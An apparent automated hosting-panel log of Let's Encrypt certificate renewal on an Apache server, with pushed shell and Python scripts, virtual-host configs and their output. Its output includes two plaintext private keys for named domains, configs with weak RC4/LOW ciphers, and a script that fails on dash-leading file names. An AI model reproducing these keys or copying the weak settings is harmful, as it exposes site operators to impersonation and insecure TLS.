RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-12 06:00:28:
PUT: /tmp/pkp882024
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-12 06:00:28:
chmod 755 /tmp/pkp882024; /tmp/pkp882024; rm /tmp/pkp882024
2025-11-12 06:00:28:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt 5389
cb:90:b6:63:ea:bc:68:90:71:ce:3c:5e:e4:61:67:2d
-----BEGIN CERTIFICATE-----
MIIFGDCCBACgAwIBAgISBrDWBaY8rfRnJW52G1x9jkwMMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEyMDUwMTU2WhcNMjYwMjEwMDUwMTU1WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDQp4wamMXqetIK6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnb
z6GFMBOz2OQcqDPidsJA6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAa
iarO5Cu7FNYfFlQRjDwfTLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer
7m/2eE5xkrj2hNUC4PZafhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zP
SkVkV+rbsdg+P0aQUbmtozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxi
EeyxBKR+//pMdPjjj3B1RjeKSJMZAgMBAAGjggI6MIICNjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFEaiEYCOmAtn4rc1dUfqyjRLuDuKMB8GA1UdIwQYMBaAFOernw8s
M6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMy5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTMuY3Js
MIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0BkarOLXIx
D67OXXBBLSVMx9QAAAGadqawhwAABAMARzBFAiAWt/pddzfLauax/cgnxTP5RF7L
xCUIj7WiCJ6yZBrPyQIhAOLAYGKfUB6VsdqjoZaCzhmqCau0UMN+ERAkfeYZkKU5
AHYAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGadqaw0QAABAMA
RzBFAiEAn8oaj1aN7WLYuLqKBidUlhPlx9PW4Xub8pnjksOS2wwCIBQtUTwjL5lC
HxVpNCT/5/RropxlafXPH0yUzOPXiNTVMA0GCSqGSIb3DQEBCwUAA4IBAQBgtN2j
B7bMRQdp6ve4wGa6uXeTrbwWUaU7ZmzdA/V2zp3LYNiB5kbTNhsLlVrsxh9dGNKM
1y4hUjjcdMApeCmqyftmlfy/6vV+dVw71fgVvKjdonsu0ObJCi9cmNA7yWOgzWLP
tc4oVOYm8GgghuzHVoG6VJU9/RMMfFfQmORVvRfzCz+0t4aNAJFyUKWDgZ6JNja+
Q+3HdVso+jYMC45TfRs85PsKybsHdTSQrmDOFFKhAKK5GtrGn06/X8ipiLy5c+Og
evy4B7SbUeUexxXgrdT2VeEB/j82AFGsjHIdOGj3DH8BSrpD5JWNXyckqgC8DODZ
l498L3W+oNUy0o93
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDQp4wamMXqetIK
6dfgqNBVAMLnAtdlmU3YMotshlIKngyv6xNtjnzkVFnbz6GFMBOz2OQcqDPidsJA
6NdfLVC2mWL7xVlMXve4RCwiWFbO8I7YHT8Xs4XchUAaiarO5Cu7FNYfFlQRjDwf
TLVtxOgeLnJmwbi0bURbPbPwNBrhklmpzQNGklp5vXer7m/2eE5xkrj2hNUC4PZa
fhmN3+LF7SGHfeKNNoAxWi+ZlfbqqQg4fOq/6kpo45zPSkVkV+rbsdg+P0aQUbmt
ozBMzBVHsyd9NaOz0LPi22Txr1+mnrqNbpNQ3ebYpAxiEeyxBKR+//pMdPjjj3B1
RjeKSJMZAgMBAAECggEBAJD97MDKqrV+9Zh52PaXuHVpGwb2lYFXX529ud8HE9mm
7IAOZai63BS6fNrfVIk92GMgc5tqUuuqxN/gLVFJJw5MVllIUP5d+9wDG3weUOxq
g4iwAhjROlL8EYifY59zNORC3Wwq0u6CuYCyiFyn+PiIJB09vsE6MMcKgJCJVKis
DK1TaGdqzumzkkqSOsRwp4988Uz/EqUXGKc4KBurIb4JRSAxHl89urC2RHL6k0E1
RlUwDnVy7Bqbagt3zW0ahwmvIUGLcKIekpBlifp6yxcR89Z2Cp1elgm6SOL9QdhK
Oi7HvR+DtZuDsXc3lgljvTeIY3EA+xDydB3BeGVw3AUCgYEA/VA7rTdQTnJAe8Ul
qtXc3kTZ5/kSmzZ2VQnJ+MGrvI1MZVcLi47O/7MHjOMNkRtMiPD7odaYiZkddxpB
YseLnlX4++jEMv09WTz47ENlr38YyCfKWw6pGCFTJgp34l9NlAc7bcUbhuhBnquz
IbHytjmmzxmXMq67d+KKnf6GMi8CgYEA0t4PvQmOijao1fq26MNAcjEjMIe2HzhU
ijLbBSW+gocbXPBveEOnEt09I4kABJAF50yM/viz5eo2t0hozsxDvsv3DK9CqPaZ
G9w9T7wL5C3zCD2LypcyJWXHhuY84wKLphapiC590Qy5tfJa35wekdUjUodeerT8
PG6z2k89JTcCgYAp1UE1tufNPLMHfaRd1Rm3nzk5RPncph7eplIzgZBiABe4uKpQ
btIiiidaDfkkmJSIHPwBWxYvyxiBndVkgb299Ua8G1GjdgzWmuok4nB9jgjCrUeO
yBoGwSIhKyNnQAPoyVT4KNAF9H85u/NGQkPp8hVpKDm/BfoxrzjjJLB2wwKBgHJ4
XADaBEghngvzO4ImJIEZDapVsddG5BXVv7IOqFoBcChG2axmxXbnJT56K8lOSfYj
R1NOvZItUCC1LTg+CPS1ktqO9df1bm6CY8I6KhZnn0w05QNIis9kbilcKWduxVKX
cNbdri1jBBmyhARpouq10qQFmpNwVpGT4wy7AU2HAoGAW18KwrNaHstvcI1ZZ2H9
RGRBpRVkC06XSjo7mmoIew4dlTb1tyTfScnVEGxC6ermty56lCn5xw2IUnXC4EU/
RYONnLFlGsWuFVj3OqaYgZB2gqK1K6dnozbHAT4gzvL1QNdd6ZnIvKtDpavcPZvM
VSv+qrAz5teClBiyp8ggQ/g=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-11-12 06:00:28: Establishing a connection
2025-11-12 06:00:29: Establishing a connection
2025-11-12 06:00:29:
PUT: /tmp/pkp225684
#!/bin/bash
if [ -d "/var/www/patientapps_portal/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-12 06:00:29:
chmod 755 /tmp/pkp225684; /tmp/pkp225684; rm /tmp/pkp225684
2025-11-12 06:00:29:
0
2025-11-12 06:00:55: Establishing a connection
2025-11-12 06:00:56: Establishing a connection
2025-11-12 06:00:57:
PUT: /tmp/pkp710229
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-12 06:00:58:
chmod 755 /tmp/pkp710229; /tmp/pkp710229; rm /tmp/pkp710229
2025-11-12 06:00:58:
0
2025-11-12 06:00:59: Establishing a remote connection
2025-11-13 06:00:01: Establishing a connection
2025-11-13 06:00:02: Establishing a connection
2025-11-13 06:00:02:
PUT: /tmp/pkp640502
#!/bin/bash
if [ -d "/var/www/hostz_venus/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-13 06:00:03:
chmod 755 /tmp/pkp640502; /tmp/pkp640502; rm /tmp/pkp640502
2025-11-13 06:00:03:
1
2025-11-13 06:00:04: Establishing a connection
2025-11-13 06:00:05:
PUT: /tmp/pkp513869
#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
cat > -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU
cat > Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM
2025-11-13 06:00:05:
chmod 755 /tmp/pkp513869; /tmp/pkp513869; rm /tmp/pkp513869
2025-11-13 06:00:05:
chmod: invalid option -- 'Y'
Try 'chmod --help' for more information.
STDERR:
chmod: invalid option -- 'Y'
Try 'chmod --help' for more information.
2025-11-13 06:00:15: Establishing a connection
2025-11-13 06:00:16:
PUT: /tmp/pkp848582
#!/bin/bash
mkdir -p "/var/www/hostz_venus/.well-known/acme-challenge/"
cd "/var/www/hostz_venus/.well-known/acme-challenge/"
rm -YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU
rm Fdrsyss9yptse2dNjy6J2ZOfpQO4JXtdZM1mCJeAtAM
2025-11-13 06:00:16:
chmod 755 /tmp/pkp848582; /tmp/pkp848582; rm /tmp/pkp848582
2025-11-13 06:00:16:
rm: invalid option -- 'Y'
Try 'rm ./-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU' to remove the file '-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU'.
Try 'rm --help' for more information.
STDERR:
rm: invalid option -- 'Y'
Try 'rm ./-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU' to remove the file '-YorxervBAnD_B3G4DHihsMq8U6lGni1e-dLl0JPjKU'.
Try 'rm --help' for more information.
2025-11-13 06:00:16: Establishing a connection
2025-11-13 06:00:16:
PUT: /tmp/pkp212591
#!/bin/bash
temp_file=$(mktemp)
TARGET=d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
cat > $temp_file <<'endmsg'
d0:ce:b6:79:a7:55:2f:7a:e3:8b:45:65:01:61:6a:d4
-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBjPC9uqj6UCgwZfDivH0EkWPMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEzMDUwMTQ1WhcNMjYwMjExMDUwMTQ0WjAZMRcwFQYDVQQD
Ew5lbWVzc2FnZS5lbWFpbDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AL8aBvh4HzrYlApFCfKWx5lprWFDrdKhOPGYdeCjjzcgZHsvllHaHb7RMbwjJWKs
//Ze7qnwGMy1QUFc+dxL+22O+mwEtQcZxfxeuO+oWUxE5MJz8Fb35ZM9J9Vl+t8E
O5/vRy7Frg1DqySIcH0T3iJWv+8lPELofuu4sO64yzJSpO7dvRiPM2HBchB5J8pu
xJVOJMFOMCttqn3KRnLj6bIt7cu/VeuV8nK4G/RAgKnYCdtb2FiircymCFdlHQ2+
/IHX2nze4kkPCvCXND1x0viiy2z+P5XXRHJcicIkmo7KgZJdQO87HKag9cMsMjEB
x8NtmpDna6V/3ShbjmixL3ECAwEAAaOCAkQwggJAMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUI+ilrclrIgo3rFPS4CHodWWeO0swHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzA/BgNVHREEODA2gg5lbWVzc2FnZS5lbWFpbIITbWFp
bC5lbWVzc2FnZS5lbWFpbIIPdmVudXMuaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcv
MTYuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAGYbUxyiqb/66A294Kk0B
karOLXIxD67OXXBBLSVMx9QAAAGae8zexwAABAMARzBFAiANO3eN4Kf8hdWBrXK9
OC8cGqo9MjKril0/nc70QxziEQIhALCVMUCb9B1HNmPV7ZQZSxSHwB4hO+ApurM1
1TMEJRHMAHYASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMAAAGae8ze
xgAABAMARzBFAiBWXKGna9bCLjJMshVJavSaG+LnXRj09r3aaJJ6Y9gPmQIhAJVs
HIqiI8Va/4kJ1w3OPZ6GAtnGPk8GQsJWHno/nTMhMA0GCSqGSIb3DQEBCwUAA4IB
AQBE3xEgR28M75lcWY61KmX/kTbBiRCe0nAi47eaWvmpYz6M9BDojvh+51xm7HEb
qttJcZspdOqKLSmYwQvppOWhLusy45ZvO1SeiyHpyOyZBk0rhEq/5jDHQaxBTTzu
iqlMIVb8lfYWM+0JII6sV7ls05o59ddIByx0QPUwvnTnr6KChV8FtNSgTeZGeTEn
EeLES4ci0Wfw8Ke+zt64oVKAqOd8UFUAveU7vBeAtvcjcYLmNWePuRk7LPrTnydO
txu6zQBtPNBPqyU1o15UXiJh/mp3zfl/KKiIRltG7Jgy8/2GqAToGtMqdctz5wKm
/PRkXM61y5GarPbZkQcckZKV
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/Ggb4eB862JQK
RQnylseZaa1hQ63SoTjxmHXgo483IGR7L5ZR2h2+0TG8IyVirP/2Xu6p8BjMtUFB
XPncS/ttjvpsBLUHGcX8XrjvqFlMROTCc/BW9+WTPSfVZfrfBDuf70cuxa4NQ6sk
iHB9E94iVr/vJTxC6H7ruLDuuMsyUqTu3b0YjzNhwXIQeSfKbsSVTiTBTjArbap9
ykZy4+myLe3Lv1XrlfJyuBv0QICp2AnbW9hYoq3MpghXZR0NvvyB19p83uJJDwrw
lzQ9cdL4osts/j+V10RyXInCJJqOyoGSXUDvOxymoPXDLDIxAcfDbZqQ52ulf90o
W45osS9xAgMBAAECggEARSs9hKet3hXQF5t/iz/KBRw79i2R9+AFBWVCnUl2J+Tg
mbnStdO12oBLeSZbfMjTaLBZwEa4Izgj422svnD+E1yiBYD6qRRKFhuO4qfTkoiJ
KFzgjAn0HYQQK+xajmgw0KXB5QsGAaURiAqedJdBWrp9hCi9FBalAdr6p51ZZt/k
CZUlKHau3dxgVmqc1TZR3Qho7+tqxd1NWyYpYV9FJXYFpZaLcw3zeDzg0Ca4p0Uw
Tx2vppcRR1EPaLRvzJGNPudD7+HsNnGlkQzB7ZkJKygHob29fVq7BVWF+kSpSAMb
PGEy3cK4gTcfJrLd+yJZ0tnUMNfR+b2OeaGYzy8v8QKBgQD0d9WNvNdKOUg2kweh
vjeR4Zpiuq/ghfmY69buM/ZhhpGjeOUOXKk7tBbCt8ZSHJmH4ZPgL9v0xs5CxMii
6JV7GSdXeKbidb47ueQE+5ywMMi+dnpFrItN6DkrT2eJ9LBNmjWHqNi/bJEaVL4X
p8aY2J0s49BTUSRuwwYoiRhPbQKBgQDIHb8rE/lch+UY996u61zcm//t1px4D00/
OgsJ21pKE0tFzlLDLPXRFhB2uFJqO3aRCckw/5i3oyUtBIudSMW5OI0VPMVgCIW5
HVtFreqEgFSIYlivvy74qjpimvx79y4k6LqBOJiq0qfkhTDDwa5jwNjr3zr1j+F6
Vzd6OAyplQKBgQDkXGhlHUiyce3N5OxVH13DbM2Nejw+bIfqXCuKmYmGMnErFgxJ
rS78sU4tmAOuwj58mrBK1AoQjgEwh6ev3bl8otOINxEVK82G9y9TpEIKp5dtqziu
iu4Z2VpF5cefK63g37MvRP8rWVv2D8D+UeAG+RlhTHFW0s5IlO7UwLOvxQKBgAF0
FdtePcVqR0OzKS7kDrybdXRoxqIomksHROVBbppzIWzUXs2EGhT2sA/srsyOugG7
rHZqpNVQngiBq/HsgWMjAgNRea2E4lPB3tPWu4lS1UpYTISaQuETe3ET5xmPZgpm
llQx8QnslcOXJA+H7JhU4j50VJ1L+jtFPuXoWk8xAoGBANO9Yo+5hb7Qg4cw2xQo
vBABLmczGfKuKkMzDNVnGTrlkp5u25TlTxH8omVc7M4mjuPlDoapWS2h5GtsAO22
he61s7dU7pVkpO/QdppPXr3ZCvhVp4A9ytkrwt8v7Osb5oTR4bgIgFrEcZZMzZFE
LlLLtapKFzT+4//jCgoTSmxU
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-13 06:00:16:
chmod 755 /tmp/pkp212591; /tmp/pkp212591; rm /tmp/pkp212591
2025-11-13 06:00:16:
dir=/etc/ssl/certs
2025-11-13 06:00:16:
PUT: /tmp/pkp692675
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_venus_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-13 06:00:16:
chmod 755 /tmp/pkp692675; /tmp/pkp692675; rm /tmp/pkp692675
2025-11-13 06:00:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_venus_org.conf 49
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/d2f885a15ab55cd2a5fd0d3cbe2ab259.crt
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_venus/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/venus_secure_access.log combined
ErrorLog /var/log/apache2/hostz/venus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-13 06:00:16:
PUT: /tmp/pkp521728
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_venus_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_venus_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName emessage.email
ServerAlias venus.hostz.org
ServerAlias mail.emessage.email
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_venus
<Directory /var/www/hostz_venus>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/venus_access.log combined
ErrorLog /var/log/apache2/hostz/venus_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
